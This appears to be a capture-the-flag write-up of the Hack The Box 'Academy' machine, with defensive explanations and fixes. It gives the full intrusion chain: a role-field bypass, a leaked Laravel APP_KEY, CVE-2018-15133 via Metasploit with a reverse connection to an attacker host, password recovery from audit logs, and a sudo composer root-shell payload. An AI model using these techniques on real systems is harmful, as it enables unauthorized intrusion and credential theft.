- OS: Linux (Ubuntu 20.04)
- Domain / vhosts:
academy.htb,dev-staging-01.academy.htb
Summary
Academy is a Linux Easy that chains four distinct bugs into a clean escalation
path: a hidden roleid field on the registration form that grants admin
access, an admin dashboard reference leaking a dev vhost, a Laravel
debug page that exposes the APP_KEY in plaintext, and
CVE-2018-15133 (Laravel token unserialize RCE) to get an initial shell.
The privilege escalation runs through two lateral moves — the application’s
.env file yields the first system account credential, and the Linux
aureport tool exposes a second user’s TTY-typed password from the audit
log — before landing on a sudo composer GTFOBins primitive that gives root.
Kill-chain: roleid=0→1 on registration → admin login → dev vhost reference
→ dev-staging-01.academy.htb Laravel 500 debug page leaks APP_KEY →
CVE-2018-15133 Metasploit → www-data → .env yields password →
su cry0l1t3 → aureport --tty reveals mrb3n password in audit log →
su mrb3n → sudo /usr/bin/composer → GTFOBins composer script → root.
Source attribution
- 0xdf, “HTB: Academy” — https://0xdf.gitlab.io/2021/02/27/htb-academy.html.
Primary source. Covers the roleid bypass, the APP_KEY leak, CVE-2018-15133
via Metasploit, the
.envcredential pivot,aureport --ttyfor TTY credential recovery, and the composer GTFOBins technique. - IppSec, “Academy” video walkthrough — https://ippsec.rocks/?#Academy.
- CVE-2018-15133 (Laravel token unserialize RCE).
Recon
nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open http Apache httpd 2.4.41
33060/tcp open mysqlx
Port 33060 is MySQL X Protocol (used by MySQL Shell for document-store operations). The main attack surface is HTTP on port 80.
Add academy.htb to /etc/hosts. The root redirects there immediately.
Web enumeration
gobuster dir -u http://academy.htb/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-x php
/index.php (200)
/login.php (200)
/register.php (200)
/admin.php (200)
/config.php (200)
Foothold — part 1: roleid registration bypass
The /register.php form contains a hidden field:
<input type="hidden" name="roleid" value="0">
Intercept the registration POST in Burp and change roleid=0 to roleid=1
before forwarding. This creates an account with admin-level access.
Log in at /admin.php with the newly registered credentials. The admin
dashboard is a “Launch Planner” checklist. One item references an internal
vhost: dev-staging-01.academy.htb.
Add dev-staging-01.academy.htb to /etc/hosts.
Foothold — part 2: Laravel APP_KEY leak via debug page
Visiting http://dev-staging-01.academy.htb/ returns HTTP 500 with Laravel’s
debug exception page fully rendered. The page dumps the full application
environment, including the APP_KEY value in plaintext.
The APP_KEY is a 32-byte base64-encoded value used to sign Laravel session
tokens (and other serialized payloads). Anyone who knows this key can forge
signed tokens that Laravel’s deserialization layer will trust.
Foothold — part 3: CVE-2018-15133 (Laravel token unserialize RCE)
Laravel 5.5.x through 5.8.x (and certain 5.4.x versions) deserialize the
X-XSRF-TOKEN / cookie value after verifying its HMAC signature. Since the
APP_KEY is now known, an attacker can craft a serialized PHP payload, sign
it with the leaked key, and submit it — Laravel will deserialize it and
execute the embedded PHP object’s magic methods.
Metasploit:
use exploit/unix/http/laravel_token_unserialize_exec
set APP_KEY <value from debug page>
set RHOSTS <TARGET>
set VHOST dev-staging-01.academy.htb
set LHOST <ATTACKER>
set LPORT 4444
run
meterpreter > getuid
Server username: www-data
User flag — credential chain via .env and audit log
Step 1 — Read the application .env:
cat /var/www/html/academy/.env
The Laravel .env file contains the database credentials for the application.
The password stored there is reused by a system account:
su - cry0l1t3
# Password: <from .env DB_PASSWORD>
Step 2 — Extract mrb3n’s password from the audit log via aureport:
cry0l1t3 is a member of the adm group, which grants read access to
/var/log/audit/. Linux’s audit daemon logs TTY input when the LOG_INPUT
audit rule is active. The aureport tool summarises audit records:
aureport --tty -i
Reading the rotated audit log (audit.log.3) surfaces a sequence of
keystrokes that includes the password typed by mrb3n during a previous
su session.
su - mrb3n
# Password: <from aureport TTY output>
user.txt is at /home/cry0l1t3/user.txt.
Privilege escalation — sudo composer GTFOBins
mrb3n@academy:~$ sudo -l
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
composer can execute arbitrary scripts defined in a composer.json file.
The GTFOBins technique creates a temporary directory with a minimal
composer.json that runs a shell as a Composer lifecycle hook:
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > $TF/composer.json
sudo composer --working-dir=$TF run-script x
The shell inherits file descriptor 3 from the calling process, giving an interactive root shell:
# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
- Hidden
roleidfield: the web application trusted a client-supplied role identifier submitted during registration. Server-side authorisation must be enforced on the server; any value supplied by the client (hidden fields, cookies, JWT claims) must be treated as attacker-controlled. Changing a hidden integer from 0 to 1 bypassed the entire access-control model. - Laravel debug mode in production: Laravel’s
APP_DEBUG=truerenders the full exception stack trace including environment variables. TheAPP_KEYis displayed because it is loaded from the environment and included in the debug output. Production deployments must setAPP_DEBUG=falseand never expose debug pages to the network. - CVE-2018-15133 — HMAC-signed deserialization: Laravel’s token handling verifies an HMAC-SHA256 signature before deserializing. The assumption was that only the server knows the signing key, so a valid signature implied a trusted payload. Once the key is leaked, the security model collapses: an attacker can sign any payload. The fix was to avoid deserializing user-supplied data regardless of HMAC validity.
.envcredential reuse for a system account: the database password in the application.envwas identical to the system login password forcry0l1t3. Application secrets and system credentials should be independent; a developer who uses the same password for both creates a direct path from web RCE to shell access.aureport --ttyfrom theadmgroup: Linux’s audit framework can log all TTY input when configured withLOG_INPUT. Theadmgroup has read access to/var/log/audit/. Anyadmmember can reconstruct every password typed interactively on the system, includingsusessions. The audit log becomes a credential store when TTY logging is enabled.sudo composeras root:composer run-scriptexecutes the named script entry fromcomposer.jsonin a subprocess. When run withsudo, that subprocess inherits the root context. The GTFOBins pattern creates a minimalcomposer.jsonwith ascriptsblock that opens a shell.
Counterfactuals
- Remove the
roleidfield from the registration form entirely; assign roles server-side based on business logic, never based on client input. - Set
APP_DEBUG=falsein the production.envand block the debug endpoint at the web server level. Never expose error pages with environment variable dumps on public interfaces. - Rotate the
APP_KEYimmediately if it is ever exposed. Consider secrets management (Vault, AWS Secrets Manager) to prevent.envfiles from being the single point of failure for application secrets. - Use distinct passwords for application service accounts and interactive system accounts.
- Disable or restrict TTY audit logging if
admgroup membership is widely granted. Alternatively, restrictadmgroup membership to trusted administrators only. - Replace
sudo /usr/bin/composerwith a restrictedsudorule or remove it entirely and use a CI/CD pipeline for deployments.
Key Takeaways
- Hidden form fields are attacker-controlled: any input element (hidden or visible) can be modified in an intercepting proxy before the request is sent. Role IDs, price values, and user-type flags in HTML forms are never trustworthy.
- Laravel debug pages are credential dumps: a Laravel 500 page with
APP_DEBUG=truein production prints the full environment, includingAPP_KEY,DB_PASSWORD, and any other.envvariable. Always check for HTTP 500 responses on Laravel targets. aureport --ttyfromadmgroup recovers typed passwords: if you land in theadmgroup, runaureport --tty -iagainst all rotated audit logs in/var/log/audit/. TTY keystroke logging capturessupasswords verbatim.sudo composeris a trivial GTFOBins: onecomposer.jsonand onesudo composer run-scriptcommand gives root. Anysudorule permittingcomposer,npm run,make, or similar build tool invocations is effectively unrestricted root access.
References
- 0xdf, “HTB: Academy” — https://0xdf.gitlab.io/2021/02/27/htb-academy.html
- IppSec, “Academy” — https://ippsec.rocks/?#Academy
- CVE-2018-15133 (Laravel token unserialize RCE)
- GTFOBins composer — https://gtfobins.github.io/gtfobins/composer/#sudo